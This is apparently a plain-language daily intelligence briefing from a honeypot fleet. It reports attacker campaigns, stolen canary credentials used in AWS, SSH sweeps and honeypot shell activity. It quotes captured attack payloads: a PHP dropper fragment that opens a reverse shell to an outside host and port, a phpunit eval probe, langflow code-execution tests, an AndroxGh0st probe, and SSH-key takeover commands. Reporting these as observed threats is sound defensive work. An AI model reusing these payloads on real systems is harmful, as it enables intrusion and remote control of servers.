Switch back to the standard briefing

FLUX FLEET — INTEL BRIEFING №61 — PLAIN LANGUAGE

Period: 2026-10-23 07:34 – 2026-10-24 07:35 UTC (24h, day 59 of operations)
Technical version: /data/flux-logs/reports/flux-fleet-intel-briefing-2026-10-24.md

What happened (plain)

Someone finally used stolen credentials in Amazon Web Services. Two test credentials, planted earlier on canary-farm-1, were used to call sts:GetCallerIdentity in AWS, and both calls worked. This ends two quiet weeks: the fleet handed out 92 fake credentials to 34 different attacker machines in the same 24 hours. An old attacker came back too — AI-EXEC-HUNT, absent for four daily cycles, grabbed 41 credentials from canary-farm-1 in six seconds, which ties the fleet record. The freshly rebuilt lauterbourg-01-ts node met two attack kits that try to run code, within about a day of going live. Most other nodes went quiet, because the huge one-off floods of the previous day did not repeat.

What it means (plain)

  1. The thieves who collect our test credentials have started testing them in AWS — and it is a familiar collector, not a new buyer. The IP 137.23.38.53 took 3 canary-farm-1 credentials on 10-17/18, tried AWS quota and identity calls in cycle №57, took 1 more credential at 17:33 UTC in this window, and now has 2 working GetCallerIdentity calls from 1 use machine. Nothing beyond GetCallerIdentity succeeded. (High confidence on what happened — Tracebit's alert logs show it. Moderate on what comes next — the logs give counts, not the address of the machine that used them.)
  2. Attackers found the rebuilt lauterbourg node within a day. Bucklog's machine 185.177.72.49 ran its whole toolkit at 13:55 UTC: fake login POSTs, a phpunit test, a dropper that opens a connection to 185.177.72.3 on port 20020 (the port changed from 20116 — someone maintains this kit), and langflow code-runner tests. A second kit, 2.58.56.23, fired 19 file-upload attempts at WordPress plugin paths at 18:26 UTC. The node still gets a login attempt against its old, retired Kiteworks lure, so old target lists are still in circulation. (High confidence — we captured the message bodies. Whether the reverse-shell connection succeeded is invisible to our tools.)
  3. Bulk config-file scanning came from the same two hosting families as usual, while the big-name campaigns rested. The Techoff hosting blocks replayed their 148+30 backup/sql scan across three sensors (195.178.110.137), ran 294 backup-file checks on canary-farm-1 (45.148.10.125), and minted credentials with a new self-named tool, db-secret-scanner/parsing.py (195.178.110.22). Feo Prest machines minted 8 credentials (213.209.159.175 and .154). REGISTRY-HUNT, ADMINER-SWARM, OMEGA-SWEEP, and METADATA-HUNT were quiet or thin. (High confidence — spot queries tie every spike to a source.)
  4. AI-EXEC-HUNT's return looks planned, not random. Same node, same marker path, same set of forged AI-crawler identities, and a new random boundary string in its uploads. Four quiet cycles sat between the two sightings, and the new run tied the 41-credential record its own earlier run set. (Moderate confidence — two sightings make a pattern, not a proof.)

Campaigns (who / what / what it means)

AI-EXEC-HUNT — a scanner that pretends to be AI web crawlers, then tries to run code

  • Who: one machine, 136.66.182.42 (Google Cloud, US), against canary-farm-1 only, at 05:03–05:04 UTC. The earlier run came from 34.58.160.181 in cycle №57.
  • What they did: 649 requests against 297 paths and 57 trap families in about a minute. It wore more than 20 fake AI-crawler identities: Kimi-SearchBot, KimiBot, MoonshotBot, Hunyuan, ChatGLM-Spider, DeepSeekBot, YouBot, DuckAssistBot, Claude-User, ClaudeBot, Claude-SearchBot, ChatGPT-User, GPTBot/1.4, OAI-AdsBot, Googlebot (desktop and Android), Applebot, bingbot, Bravebot, Amazonbot, Meta-ExternalFetcher/Agent/WebIndexer, GrokBot, CCBot, Baiduspider, and cohere-ai. It collected 41 credentials at /.env between 05:03:07 and 05:03:13. It sent 21 POSTs: upload-form probes with the body ------r2s1b10479syd5v3 ... {"then":"$1: (the random boundary string is new this run), GraphQL schema probes on /graphql, /api/graphql, and /v1/graphql (all answered 200), plus /app, /document.php, and its marker paths /z9x8c7v6b5-debug-trigger-sso.rightabouteverything.show, /cn9dmljmheoztclss0nb, and /lt0qksl7ky9omb0xytcb.
  • What it means: this actor wants environment files and code execution. Our decoys answered every request. The 41 credentials are in hostile hands until Tracebit reports otherwise, so AWS alerts on this haul are the thing to watch.

ANDROXGH0ST-KIT — a new kit that probes for the AndroxGh0st webshell parameter and tries to upload files

  • Who: lead machine 2.58.56.23 (1337 Services GmbH, a bulletproof-adjacent Dutch host); the matching digest cluster holds 9 machines, all hitting lauterbourg-01-ts, first seen 10-24.
  • What they did: 597 requests against 402 paths with 19 POSTs at 18:26 UTC. It sent the body 0x%5B%5D=androxgh0st to / and /index.php — a known probe for PHP config leaks. Then, in half a second, it tried to upload files to 19 WordPress plugin paths: /wp-admin/admin-ajax.php ×9, /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php, /wp-content/plugins/contact-form-7-db/img/upload.php, /wp-content/plugins/backup-backup/includes/backup-heart.php, /wp-content/plugins/blueimp-jquery-file-upload/server/php/index.php, and /wp-json/bricks/v1/render_element, with multipart bodies of 388–662 bytes. It also ran a 364-path config census under fake Firefox/133, Chrome/130/131, Edge/131, and Safari/18.1 identities. It collected 0 credentials.
  • What it means: someone wants a webshell on the node's fresh PHP surface. One caution when reading our own tags: the node's php2shell-root and php2shell-login labels are a catch-all surface, not this campaign — their biggest users are this kit (40 events), a separate scanner 85.137.57.233 (19), and 6 self-scans from the node's own address 89.116.25.211.

BUCKLOG-KIT — a known kit whose code-execution arm woke up on the rebuilt node

  • Who: 185.177.72.49 (Bucklog SARL, France, on two blocklists) at lauterbourg-01-ts, 13:53–13:55 UTC; its census sibling 185.177.72.9 hit canary-farm-1 at 13:13–13:16 UTC. This block took control-1 credentials on 09-30 and 10-12.
  • What they did: 185.177.72.49 sent 239 requests with 19 POSTs. It started with fake-login POSTs to NextAuth paths (/api/auth, /api/auth/callback, /api/auth/session, /__nextjs_action) and two /RSC/…txt probes. Then the phpunit chain: a body <?php echo md5('phpunit_rce'); ?> to eval-stdin.php (answered 200), then the dropper <?php set_time_limit(120);$s=fsockopen("185.177.72.3",20020);if($s){$p=proc_open (also 200) — the command-and-control port moved from 20116 to 20020 — then three langflow tests at /api/v1/validate/code: {"code":"@exec(\"raise Exception('abp_29pdi6cvy9ug')\")\ndef _f(): pass"}, {"code":"pass"}, and {"code":"@exec(\"__import__('time').sleep(3)\")\ndef _f(): pass"} (all 200). It ended with a login attempt against the node's retired Kiteworks lure (401). The census sibling .9 sent 240 requests with curl/8.7.1, probed /wp-json/gravitysmtp/v1/tests/mock-data, took 3 credentials at /.env, and walked /.aws/credentials and an Apache log path.
  • What it means: the kit's owners are actively maintaining it (the port change) and pointed it at the newest node within 23 hours of its rebuild. Every stage hit a decoy. We cannot see whether the reverse shell connected — that is an open question.

CREDENTIAL-DRAIN — the pipeline from planted credentials to their use in AWS

  • Who: mint side: 92 credentials to 34 collector machines (96 raw mint rows: canary-farm-1 63, ai-devbox-1 17, control-1 11, ru-edge-1 5). Use side: 2 credentials used, 2 events, both sts:GetCallerIdentity and both successful, from 1 use machine — drawn from 137.23.38.53's hoard (4 credentials since 10-17 20:22).
  • What they did: minting failed 21 times with HTTP 400 (farm 12, aidev 3, control 3, ru-edge 3 — burst pacing) plus 1 new-style tracebit-error on ai-devbox-1 (167.71.175.236 at /.env, status 404 — second window for this class). New collectors this window: the matched pair 130.12.180.163 (ai-devbox-1) and 130.12.180.170 (canary-farm-1) at 14:39:00/14:39:06 UTC under identical Chrome/147; 159.26.101.138 (4 mints on 2 sensors, Chrome/81); 87.88.231.212 (self-named authorized-live-verifier/1.0, then authorized-hit-verifier/1.0); 178.239.198.106 (Chrome/86); 45.148.10.5 (Chrome/128); 147.182.149.75 (a LeakIX runner). REGISTRY-HUNT runners took about 20 credentials across 17 DigitalOcean machines.
  • What it means: this is the first AWS use since cycle №58, and so far the calls only reveal account identity. Our pull shows how many machines used credentials, not their addresses — pulling that detail is task one for next cycle.

REGISTRY-HUNT / LeakIX — the daily LeakIX-branded sweep ⟳, fleet-wide

LIBREDTAIL-KIT — the phpunit/php-cgi attack chain ⟳, fake-browser arm only

  • Who: cluster 7e61a9500d8b: 11 machines, 539 events across 6 sensors, including the legs behind lauterbourg's cmd-injection-php-cgi-rce count of 21 (4.2× its average). The honest-identity libredtail-http arm did not appear.
  • What they did: the same three-step chain: cgi-traversal-rce-command → cmd-injection-apache-cgi-shell → cmd-injection-php-cgi-rce on /bin/sh, /hello.world, /, and /index.php.
  • What it means: the fake-browser arm keeps its daily rhythm; the honest one paused. A captured dropper body is still the escalation signal we wait for.

CREDSWEEP family — the Techoff blocks' config-file census ⟳

  • Who: 195.178.110.137 (Techoff, Bulgaria) ran 1,176 events across control-1, ai-devbox-1, and frantech-ts, replaying the exact 148 backup-archive + 30 sql-dump scan (control 21:06, aidev 14:20, frantech 12:49 UTC). 45.148.10.125 (Techoff, Netherlands, blocklisted) ran 354 events / 177 paths on canary-farm-1, including 294 backup-file checks (the 37.5× spike), plus a 6-sensor, 359-event pass. 45.148.10.5 minted 1 on control-1 (Chrome/128). 195.178.110.22 ran a new self-named tool, db-secret-scanner/parsing.py: 86 env-file events and 2 mints (06:41 and 06:47 UTC) on farm, with a first-seen TypeScript census (/env.ts, /db.ts). The campaign's original operator 45.148.10.238 stayed away.
  • What they did: the same minutes-long, high-path bursts as before. The new tool reads source-tree files, a second such tool after №60's gitdump/1.0.
  • What it means: the family's scanning got busier even though the famous name rested. The blocks keep their mint-per-run economics.

WP-LOGIN-BRUTE ⟳ — quiet: 81 wp-login-credentials POSTs on canary-farm-1 (4.9× average), one POST per residential machine, 0 mints. The 200-pair alarm stays armed.

Smaller watchers worth naming

  • 130.12.180.x — a new block. .117 ran a two-node census (netcup-ts 180 events / 72 paths; lauterbourg-01-ts 167 / 66, including the first-seen /shibboleth/.env). The pair .163 + .170 minted on two sensors at 14:39 under identical Chrome/147, with singles .165/.166/.168 touching nodes once. A synchronized two-machine mint pair is new behavior — promote it if it repeats.
  • 87.88.231.212 took 2 ru-edge credentials under the self-named tools authorized-live-verifier/1.0 and authorized-hit-verifier/1.0 (18:48 and 19:00 UTC). A "verifier" that mints our credentials is worth watching in AWS.
  • 176.65.148.23 (Pfcloud, Netherlands, blocklisted) ran 457 events on 4 sensors; canary-farm-1 got 453 events over 30 paths spread across the whole day — the slow git-object walk from №60 continues.
  • New honest-looking identities: WebMap/1.0; research scanner and FlowIQLabsBot/1.0 (with a live info URL) read as research scanners — shallow, single passes. The forged iPhone Safari 18.7 pair on lauterbourg is not honest and stays hostile.

Standing actors (who keeps coming back)

  • 213.209.159.175 (Feo Prest, Germany, blocklisted) minted in every recent window — 4 credentials this window on control-1 (38 in six days), 155 events, wearing three fake identities (old Safari, MSIE 10 with a MALNJS tag, and an Android phone).
  • 213.209.159.154 (Feo Prest) minted 4 credentials (12 in six days) and touched 4 sensors with 600 events.
  • TOKEN-CRAWLER pool 45.198.224.x — .125 touched all 8 sensors again (68 events), 0 mints.
  • The 94.154.43.x pool (OMEGA-SWEEP's old probe pool) — .185/.186/.187/.188/.189 each hit 8 sensors, .99 hit 7, at 27–54 events each, with 0 mints: probes only.
  • Benign fixed-cadence probers — 89.248.172.33 (7 nodes, 334 events), 93.174.93.12 (6 nodes, 378), Censys 71.6.155.70 (8 nodes, 8), 34.140.3.155 (6 nodes, 28), osint-scanner/1.0 45.139.104.35, and 195.182.16.23.
  • Pfcloud 204.76.203.7 made a light 6-sensor walk (13 events); the MALWARE-DICT replay machine (.18) rested a third window.
  • The Bochum research crawler (185.73.23.161/.162/.168) was absent — its first miss after eleven straight windows, and the main reason netcup-ts fell 80 and sponge-01-ts fell 88 percent.

Absent or paused: EXCHANGE-DICT and JNDI-FIELD-INJECT (no second day), MEGA-DICTIONARY, WEBSIPHON (second absence), KEYDROP-SCANS, CLAUDE-CRED-HUNT, METADATA-HUNT's named runners, CVENGINE-KIT's kit POSTs, CONFIGBUNDLE-KIT, CENSUS-284, ADMINER-SWARM (first miss since registration), 23.234.78.109, WP-FORM-BRUTE, GOWEB-PENTEST, XMLRPC-BRUTE, NIGHTAGENT, OMEGA-SWEEP's census machines (.243/.248), CREDSWEEP's original 45.148.10.238, and GO-SPRAY-SWEEP at the network layer.

Network sweeps (Arkime) — machines that knock on SSH and never log in

Our pcap sensors saw 95,089 inbound SSH sessions against the fleet's 8 public addresses (ai-devbox-1 217.15.163.226, canary-farm-1 109.123.246.142, control-1 38.54.2.209, frantech-ts 209.141.62.110, lauterbourg-01-ts 89.116.25.211, netcup-ts 159.195.21.150, ru-edge-1 130.94.89.46, sponge-01-ts 89.167.72.144), on port 22, in the same 24 hours. These sweeps request no web page, so the web traps never see them — this layer is our only view. Identity here is the client's fingerprint, not its address.

  • LIBSSH-MASSSWEEP, fingerprint f555226df1963d1d3c09daf865abdc9a, banner ssh-2.0-libssh_0.9.6 — the one flagged sweep. 4,108 sessions from 507 source machines across 240 networks in 63 countries (10-23 07:34 → 10-24 07:28). Top networks: AS132203 Tencent, AS8075 Microsoft, AS4766 Korea Telecom, AS135377 UCLOUD HK, AS16276 OVH. Busiest sources: 220.118.173.234, 164.52.105.37, 5.89.75.194, 185.158.22.150, 50.6.228.85. Daily spread, last 7 days: 10-18 324 IPs, 10-19 418, 10-20 402, 10-21 327, 10-22 314, 10-23 443, 10-24 250. The pool keeps growing — 507 machines is +127 over yesterday — while total sessions fell by 1,485. More machines, fewer touches each.
  • GO-SSH-SWEEP, 0a07365cc01fa9fc82608ba4019af499 — 20,889 sessions (−1,665) from 56 machines (+2) on 19 networks; the digest now labels it "distributed" instead of single-source.
  • GO-SCATTER-SWEEP, 16443846184eafde36765c9bab2f4397 — 20,121 sessions (−110) from 32 machines (−2) on 20 networks, still single-source.
  • GO-SPRAY-SWEEP missed again — its on/off cycle continues.
  • Below the alarm line but tracked: 2ec37a7cc8daf20b10e1ad6221061ca5 (1,863 sessions / 16 machines / 3 networks), 4e066189c3bb… (22,207 sessions / 12 machines — control-1's top fingerprint), 03a80b21afa8… (389 / 43 / 32), dd9bcf093c35… (28 / 27 / 1), 084386fa7ae5… (22 / 21 / 5), e54ef3ec27fe… (32 / 19 / 6, shrinking). One new fingerprint today: a4670512a29b08a85a19835ae691e3f9, 5 sessions from 1 machine, banner ssh-2.0-openssh_8.9p1 ubuntu-3ubuntu0.14 — watch only.
  • Session labels drifted again (contabo-sponge-02-ts + proxy, 19,712 sessions) — a known bookkeeping issue, still open.

Canaries (minted and used) — fake credentials: who took them, who used them

The summary: fleet sensors minted 92 credentials to 34 collector machines. 2 credentials reached AWS, both calling sts:GetCallerIdentity, and both calls succeeded. That call only reveals the account's own identity, so the leak is small — but it is the first AWS use in two windows, and any success beyond it becomes a real finding.

The funnel in numbers: 92 minted, 34 collectors, 2 used in AWS, 90 taken with no observed use in this window.

Who took credentials, per machine (window mints, AWS use, and their six-day mint history):

  • 136.66.182.42, canary-farm-1 — 41 mints since 2026-10-24 05:03, 0 used (AI-EXEC-HUNT's haul)
  • 213.209.159.175, control-1 — 4 mints, 38 since 2026-10-17 10:37, 0 used
  • 185.177.72.9, canary-farm-1 — 3 mints since 2026-10-23 13:14, 0 used
  • 143.244.165.105, ru-edge-1 — 2 mints (9 since 2026-10-21 18:02); canary-farm-1 — 1 mint, 0 used
  • 157.245.36.108, canary-farm-1 — 2 mints (3 since 2026-10-18 19:57), 0 used
  • 159.26.101.138, ai-devbox-1 + canary-farm-1 — 2 + 2 mints (4 since 2026-10-23 16:04), 0 used
  • 195.178.110.22, canary-farm-1 — 2 mints since 2026-10-24 06:41, 0 used
  • 213.209.159.154, canary-farm-1 + control-1 — 2 + 2 mints (12 since 2026-10-19 06:24), 0 used
  • 64.225.75.246, canary-farm-1 — 2 mints since 2026-10-23 18:48, 0 used
  • 87.88.231.212, ru-edge-1 — 2 mints since 2026-10-23 18:48, 0 used
  • 128.199.182.55, canary-farm-1 — 1 mint (3 since 2026-10-17 03:52), 0 used
  • 130.12.180.163, ai-devbox-1 — 1 mint since 2026-10-23 14:39, 0 used
  • 130.12.180.170, canary-farm-1 — 1 mint since 2026-10-23 14:39, 0 used
  • 134.209.25.199, ai-devbox-1 + canary-farm-1 — 1 + 1 mint (2 since 2026-10-23 18:47), 0 used
  • 137.23.38.53, canary-farm-1 — 1 mint (4 since 2026-10-17 20:22), 2 used in AWS: GetCallerIdentity, 1 use machine
  • 138.68.144.227, ai-devbox-1 — 1 mint (3 since 2026-10-18 20:21), 0 used
  • 138.68.86.32, ai-devbox-1 — 1 mint (2 since 2026-10-20 19:54), 0 used
  • 147.182.149.75, ai-devbox-1 — 1 mint since 2026-10-24 04:32, 0 used
  • 157.245.113.227, canary-farm-1 — 1 mint (2 since 2026-10-20 20:04), 0 used
  • 165.22.235.3, ai-devbox-1 — 1 mint since 2026-10-23 18:48, 0 used
  • 165.22.34.189, ai-devbox-1 — 1 mint (2 since 2026-10-17 20:29), 0 used
  • 165.227.102.187, ru-edge-1 — 1 mint (4 since 2026-10-21 16:37), 0 used
  • 165.227.84.14, ai-devbox-1 — 1 mint since 2026-10-23 23:03, 0 used
  • 178.239.198.106, control-1 — 1 mint since 2026-10-23 17:24, 0 used
  • 206.81.24.227, ai-devbox-1 — 1 mint (3 since 2026-10-18 20:01), 0 used
  • 206.81.24.74, ai-devbox-1 — 1 mint (4 since 2026-10-20 20:43), 0 used
  • 45.138.12.16, ai-devbox-1 — 1 mint since 2026-10-24 03:33, 0 used
  • 45.138.12.88, canary-farm-1 — 1 mint since 2026-10-23 12:36, 0 used
  • 45.148.10.5, control-1 — 1 mint (2 since 2026-10-22 00:28), 0 used
  • 46.101.1.225, ai-devbox-1 — 1 mint (2 since 2026-10-20 20:02), 0 used
  • 46.101.111.185, canary-farm-1 — 1 mint since 2026-10-23 19:07, 0 used
  • 64.226.65.160, ai-devbox-1 — 1 mint (2 since 2026-10-18 19:59), 0 used
  • 64.227.70.2, ai-devbox-1 — 1 mint (4 since 2026-10-17 19:57), 0 used
  • 93.152.209.6, canary-farm-1 — 1 mint (2 since 2026-10-22 02:01), 0 used

Older hoards still held with no observed AWS use (mint totals in the current six-day pull): 136.66.182.42 — 41 (2026-10-24 05:03 → 05:03); 34.58.160.181 — 41 (2026-10-19 16:03 → 16:03); 213.209.159.175 — 38 (2026-10-17 10:37 → 2026-10-23 15:04); 45.148.10.171 — 23 (2026-10-17 06:51 → 2026-10-22 00:53); 37.60.226.187 — 17 (2026-10-20 02:15 → 2026-10-21 21:45); 213.209.159.154 — 12 (2026-10-19 06:24 → 2026-10-24 01:01); 143.244.165.105 — 9 (2026-10-21 18:02 → 2026-10-23 21:39); 80.94.92.126 — 9 (2026-10-17 10:09 → 2026-10-20 10:36); 217.60.198.111 — 6 (2026-10-21 03:45 → 03:54); 23.234.78.109 — 6 (2026-10-17 20:53 → 2026-10-20 14:00); 80.94.92.65 — 6 (2026-10-19 06:23 → 2026-10-21 09:39); 45.138.12.51 — 5 (2026-10-18 13:12 → 2026-10-22 07:02); 104.251.180.112 — 4 (2026-10-17 14:48 → 2026-10-21 12:15); 159.26.101.138 — 4 (2026-10-23 16:04 → 16:21); 165.227.102.187 — 4 (2026-10-21 16:37 → 2026-10-24 03:52); 185.177.72.64 — 4 (2026-10-20 01:57 → 08:44); 206.81.24.74 — 4 (2026-10-20 20:43 → 2026-10-23 21:05); 45.148.10.125 — 4 (2026-10-23 01:44 → 04:39); 64.227.70.2 — 4 (2026-10-17 19:57 → 2026-10-24 05:42); 64.89.163.14 — 4 (2026-10-17 22:50 → 2026-10-21 10:53); 104.64.127.170 — 3 (2026-10-17 07:08 → 11:29); 128.199.182.55 — 3 (2026-10-17 03:52 → 2026-10-24 04:15); 138.68.144.227 — 3 (2026-10-18 20:21 → 2026-10-24 01:39); 140.245.97.208 — 3 (2026-10-20 23:51 → 2026-10-21 05:57); 150.228.105.248 — 3 (2026-10-20 17:58 → 18:02); 157.230.19.140 — 3 (2026-10-17 19:58 → 2026-10-19 20:25); 157.245.36.108 — 3 (2026-10-18 19:57 → 2026-10-23 21:05); 185.177.72.17 — 3 (2026-10-18 22:42 → 22:42); 185.177.72.9 — 3 (2026-10-23 13:14 → 13:14); 206.81.24.227 — 3 (2026-10-18 20:01 → 2026-10-24 04:32); 64.23.218.208 — 3 (2026-10-17 03:52 → 20:42); 72.167.41.202 — 3 (2026-10-21 17:47 → 18:25); 85.155.14.16 — 3 (2026-10-18 03:19 → 2026-10-20 17:27); 93.152.221.96 — 3 (2026-10-21 23:57 → 2026-10-22 04:22).

One caveat we state every cycle: "no observed use" is only true up to the moment of the pull. Tracebit is the only witness after that point.

How the fleet behaved (Fleet Observations) — the machinery behind the numbers

Credential economics. The digest counted 96 raw mint rows (canary-farm-1 63, ai-devbox-1 17, control-1 11, ru-edge-1 5), which dedupe to 92 real credentials. Minting failed 21 times with HTTP 400 plus once with the newer tracebit-error class (167.71.175.236 on ai-devbox-1, status 404 — second window for that class). No key failures (no 401s). The fleet's all-time mint-row counter now reads 2,922.

Attribution and encryption posture. Forged X-Forwarded-For headers: 2,354 requests carried any such header, 0 carried multi-entry chains, 488 carried one that our pipeline correctly ignored, and 0 carried a single forged entry that disagreed with the real connection — a clean window after last cycle's Log4Shell row. Most traffic is still plain HTTP: canary-farm-1 1,070 HTTPS vs 2,575 HTTP, ai-devbox-1 387 vs 1,641, lauterbourg-01-ts 409 vs 2,235, frantech-ts 8 vs 1,071; control-1, netcup-ts, ru-edge-1, and sponge-01-ts saw no HTTPS at all. The rebuilt node's new bait hostname cloud.wafflehouseindex.us already drew 743 events.

control-1's discovery ramp. Day 41 since its first event (2026-09-12 07:59 UTC): 1,369 events from 152 unique machines — a normal day, with no sign yet that attackers have "discovered" the deliberately fresh node as a class.

Why the big numbers moved. canary-farm-1 +62 percent (3,645 events): AI-EXEC-HUNT's 649, 45.148.10.125's 354, Bucklog .9's 240, REGISTRY-HUNT's legs, and 81 WordPress login POSTs. lauterbourg-01-ts +95 percent (2,644): 2.58.56.23's 597, Bucklog .49's 239, tarpit traffic (418 + 70 + 57), and 130.12.180.117's 167. The five drops are absences, not retreats: ru-edge-1 −90 percent (yesterday's 69,601-event crawler gone), frantech-ts −91 percent (no dropper-URL replay), netcup-ts −80 and sponge-01-ts −88 percent (the Bochum crawler gone), control-1 −56 percent (yesterday's censuses did not repeat).

Every spike has a named cause. ru-edge-1's fake-git-miss 264 (15.1×): 45.138.12.35 alone — a real-hash git-internals walk in about a minute, the CVENGINE-KIT /24's first ru-edge visit. canary-farm-1's backup-archive 300 (37.5×): 45.148.10.125 (294) plus light census legs. Farm's env-production 294: the census crowd (195.178.110.22 86, 136.66.182.42 69, 137.23.38.53 51, 45.138.12.88 41, 93.152.209.6 24, 213.209.159.154 20). Farm's sql-dump 64: the same crowd. Farm's wp-login-credentials 81: one POST per residential machine. ai-devbox-1's backup-archive 148: 195.178.110.137 exactly, and control-1's backup-archive-error 148 + sql-dump-error 30 mirror the same script. lauterbourg's php2shell-root 192 and php2shell-login 122: the catch-all tags described under ANDROXGH0ST-KIT. Its openapi-spec-json-skeleton 22, webshell-probe 40, and tarpit spikes: the new kit plus generic scanners. Its cmd-injection-php-cgi-rce 21: LIBREDTAIL's fake-browser arm.

Small known quirks. First-seen lists again share one sync-arrival timestamp (03:16–03:32), so they are inventories, not timelines. Spot-query totals run slightly above digest cells on the aligned window (farm 3,745 vs 3,645). The hourly histogram prints local-clock labels under a UTC header. The skill's style-editing pass is unavailable on this host; the technical-prose style check stood in.

SSH/telnet honeypot (frantech-ts — one host, not fleet-wide)

This is a single machine running real SSH (port 2222) and telnet (2323) honeypots, so these numbers describe one box, not the fleet. Funnel: 582 machines sent credentials → 437 got a shell (75 percent) → 354 ran a command (81 percent of those who got a shell, 61 percent of all sources). In events: 21,403 credential attempts → 5,422 accepted logins → 7,260 commands. Telnet saw 733 attempts.

New commands: 0 of 75 distinct — nothing an operator ran for the first time. The usual crowd just got louder or quieter: 103.241.232.99 repeated echo -e "\x6F\x6B" 3,000 times again (the same loop as yesterday). The uname hardware survey pair ran 661 events each from 109.160.32.105 and one sibling. The .ssh folder takeover pair held: cd ~; chattr -ia .ssh; lockr -ia .ssh at 403 events from 317 machines, and the key-replacement chain at 352 from 279. 193.32.162.84 and 5 siblings ran the export PATH=… survey at 207 events each. The GPU-probing nvidia-smi command ran 190 times from 4 machines led by 179.43.153.2.

Credentials: 17,593 distinct username/password pairs offered, 0 new. The same few pairs dominate: 345gs5662d34/345gs5662d34 386 attempts, root/3245gs5662d34 331, root/123456 67, pi/raspberry 56.

Open questions

  1. Which machine used the two AWS credentials? The alert pull reports 2 GetCallerIdentity successes from 1 use machine behind 137.23.38.53's hoard, but not the machine's address. Next cycle: pull Tracebit alert detail, then watch for any call beyond GetCallerIdentity.
  2. Will anyone use AI-EXEC-HUNT's 41 new credentials? They sat unused at pull time, about two hours after the burst. A third runner from the same kit would also confirm that the four-cycle gap is a schedule.
  3. Will ANDROXGH0ST-KIT come back, and did any upload land? We watch for a second machine or node, the other 8 machines of cluster 2d3e95b722b5, and any upload answered with command output instead of a decoy 200.
  4. Did Bucklog's reverse shell connect? The dropper targeted 185.177.72.3:20020; our sensors cannot see whether the connection opened. We also want a full copy of the 232-byte NextAuth login bodies, and we watch for the kit on a second node.
  5. What are the new tools? db-secret-scanner/parsing.py (195.178.110.22), the authorized-*-verifier/1.0 pair (87.88.231.212), and the whole 130.12.180.x block need owner/ASN lookups and a second sighting each.
  6. When will the Arkime session labels get fixed? The contabo-sponge-02-ts + proxy mislabels (19,712 sessions) are an ops-repo fix, open since №59.

Plain language version of: flux-fleet-intel-briefing-2026-10-24.md